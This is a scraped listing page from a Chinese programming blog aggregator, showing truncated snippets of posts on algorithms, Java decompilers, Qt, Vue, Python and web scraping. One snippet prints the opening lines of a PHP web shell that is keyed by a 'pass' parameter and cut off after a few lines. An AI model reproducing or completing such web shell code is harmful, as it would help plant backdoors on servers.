\(dsu\ on\ tree\) 是一个树上优化暴力,在统计每个子树信息的时候可以做到 \(O(nlogn)\) 大致思路:先轻重链剖分,然后统计每棵子树信息的时候先递归所有轻儿子(回溯时清空信息),最后递归重儿子(回溯时不清空信息)。 最重要的就是时间复杂度分析了吧(其实非常简单):我们发现一个 ...
分类:
其他好文 时间:
2020-06-25 12:21:45
阅读次数:
62
https://blog.csdn.net/zz531987464/article/details/105977461 https://blog.csdn.net/zz531987464/article/details/106023618?utm_medium=distribute.pc_relev ...
分类:
其他好文 时间:
2020-06-25 12:07:31
阅读次数:
58
java 反编译工具: jd-gui:http://java-decompiler.github.io luyten:https://github.com/deathmarine/Luyten/releases ...
分类:
其他好文 时间:
2020-06-24 18:05:43
阅读次数:
46
最开始使用Qt时就遇到过QT Gui失去响应的问题,我是用多线程的方式解决的,然而通常来说,多线程是会降低程序的运行速度。 之后,在使用QSqlQuery::execBatch()函数时,Qt Gui 又失去响应,虽然多线程可以解决,但是如果能用单线程很好解决的,最好不要用到多线程,因为多线程不仅容 ...
分类:
其他好文 时间:
2020-06-24 15:58:30
阅读次数:
54
先是shell脚本 <?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key ...
分类:
其他好文 时间:
2020-06-24 14:22:32
阅读次数:
76
/** * 获取用户下属ID集合 * @param $uid int * @param $ids string * @author jack * @throws string * @return string */ public function getUnderlingUIds($uid, $id ...
分类:
Web程序 时间:
2020-06-23 22:53:48
阅读次数:
237
1. 系统安装程序anaconda bootloader --> kernel(initrd(rootfs)) --> anaconda anaconda: tui:基于cureses的文本配置窗口 gui:图形界面 2. CentOS安装的启动流程 2.1 第一阶段:MBR:boot.cat 在光 ...
分类:
其他好文 时间:
2020-06-23 15:23:14
阅读次数:
82
##Vue是什么? Vue在近期热门程度逐渐提高,引起了许多人的学习兴趣。而学习先要了解,Vue是一套用于构建用户界面的渐进式框架。什么是渐进式框架?我的理解是有需要就引用,举个栗子: 在写一个小页面的时候如果仅是表单提交的时候去调用Vue,这时候Vue的其他组件就对你没用,你只需要引入调用然后完成 ...
分类:
其他好文 时间:
2020-06-23 13:02:06
阅读次数:
54
测码学院 1、打开IDLE python GUI,点击开始-所有程序-python2.7-IDLE python GUI,或者直接进入dos环境,或者其他的IDLE。 2、如果想循环1至10,代码为for n in range(1,11,1):或者for n in range(1,11):,在ran ...
分类:
编程语言 时间:
2020-06-22 23:28:09
阅读次数:
96
爬虫固定套路 1.提取数据(1.找到需要爬取的url,通过http请求获取html页面) 2.解析数据(1.数据筛选,2.数据过滤,3.获取有效数据) 最难搞的就是这一步,因为你要去分析解析人家前端页面Html的格式,这里也就是爬虫功放战的主要战场 3.数据入库 一、提取数据 1.找到需要爬取页面的 ...
分类:
其他好文 时间:
2020-06-22 13:04:10
阅读次数:
56